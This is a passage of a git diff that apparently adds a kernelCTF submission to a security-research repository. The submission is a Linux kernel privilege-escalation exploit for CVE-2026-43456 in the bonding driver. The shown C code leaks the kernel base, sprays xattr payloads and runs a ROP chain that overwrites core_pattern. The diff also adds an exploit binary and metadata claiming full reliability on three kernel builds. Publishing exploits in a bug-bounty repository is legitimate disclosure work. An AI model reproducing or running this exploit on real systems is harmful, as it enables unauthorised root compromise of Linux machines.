GRE_INDEX_BASE + NUM_GRE_IFS - 2)) { + puts("Failed to make slave"); + exit(1); + } + + int packet_fd = setup_bond_af_packet_sock(PACKET_NO_PROTOCOL, BOND_IFINDEX_FOR_TRIGGER); + + for (;;) { + send(packet_fd, NULL, 0, 0); + spray_xattr_order_2_pages(xattr_spray_payload); + } +} + +int main(int argc, char **argv) { + (void)argc; + + if (!fork()) { + set_cpu(1); + strcpy(argv[0], WIN_PROCESS_NAME); + // @sleep(kernel_func="", desc="keep argv[0] visible to pidof") + sleep(99999); + } + + set_cpu(0); + unshare_setup(getuid(), getgid()); + setup_interface_up(if_nametoindex("lo")); + leak_kbase(); + + if (kbase == 0 || (kbase & (PAGE_SIZE - 1)) != 0) { + puts("Failed to leak kbase"); + return 1; + } + + rop_setup_core_pattern_overwrite(); + vuln_trigger_skb_shared_info_overwrite(); + return 0; +} diff --git a/pocs/linux/kernelctf/CVE-2026-43456_lts_cos_mitigation/exploit/mitigation-v3b-6.1.55/exploit b/pocs/linux/kernelctf/CVE-2026-43456_lts_cos_mitigation/exploit/mitigation-v3b-6.1.55/exploit new file mode 100755 index 000000000..4491df758 Binary files /dev/null and b/pocs/linux/kernelctf/CVE-2026-43456_lts_cos_mitigation/exploit/mitigation-v3b-6.1.55/exploit differ diff --git a/pocs/linux/kernelctf/CVE-2026-43456_lts_cos_mitigation/metadata.json b/pocs/linux/kernelctf/CVE-2026-43456_lts_cos_mitigation/metadata.json new file mode 100644 index 000000000..280a30a50 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2026-43456_lts_cos_mitigation/metadata.json @@ -0,0 +1,32 @@ +{ + "$schema": "https://google.github.io/security-research/kernelctf/metadata.schema.v3.json", + "submission_ids": ["exp341", "exp245", "exp240"], + "vulnerability": { + "summary": "", + "patch_commit": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/commit/?id=9baf26a91565b7bb2b1d9f99aaf884a2b28c2f6d", + "cve": "CVE-2026-43456", + "affected_versions": ["2.6.24 - 6.19.8"], + "requirements": { + "attack_surface": ["userns"], + "capabilities": ["CAP_NET_ADMIN"], + "kernel_config": ["CONFIG_BONDING"] + } + }, + "exploits": { + "lts-6.6.87": { + "uses": ["userns"], + "requires_separate_kaslr_leak": false, + "stability_notes": "10 times success per 10 times run" + }, + "cos-109-17800.372.99": { + "uses": ["userns"], + "requires_separate_kaslr_leak": false, + "stability_notes": "10 times success per 10 times run" + }, + "mitigation-v3b-6.1.55": { + "uses": ["userns"], + "requires_separate_kaslr_leak": false, + "stability_notes": "10 times success per 10 times run" + } + } +} diff --git a/pocs/linux/kernelctf/CVE-2026-43456_lts_cos_mitigation/original_exp240.tar.gz b/pocs/linux/kernelctf/CVE-2026-43456_lts_cos_mitigation/original_exp240.tar.gz new file mode 100644 index 000000000..c01f0d718 Binary files /dev/null and b/pocs/linux/kernelctf/CVE-2026-43456_lts_cos_mitigation/original_exp240.tar.gz differ diff --git a/pocs/linux/kernelctf/CVE-2026-43456_lts_cos_mitigation/original_exp245.tar.gz b/pocs/linux/kernelctf/CVE-2026-43456_lts_cos_mitigation/original_exp245.tar.gz new file mode 100644 index 000000000..589b21092 Binary files /dev/null and b/pocs/linux/kernelctf/CVE-2026-43456_lts_cos_mitigation/original_exp245.tar.gz differ diff --git a/pocs/linux/kernelctf/CVE-2026-43456_lts_cos_mitigation/original_exp341.tar.gz b/pocs/linux/kernelctf/CVE-2026-43456_lts_cos_mitigation/original_exp341.tar.gz new file mode 100644 index 000000000..64516cb92 Binary files /dev/null and b/pocs/linux/kernelctf/CVE-2026-43456_lts_cos_mitigation/original_exp341.tar.gz differ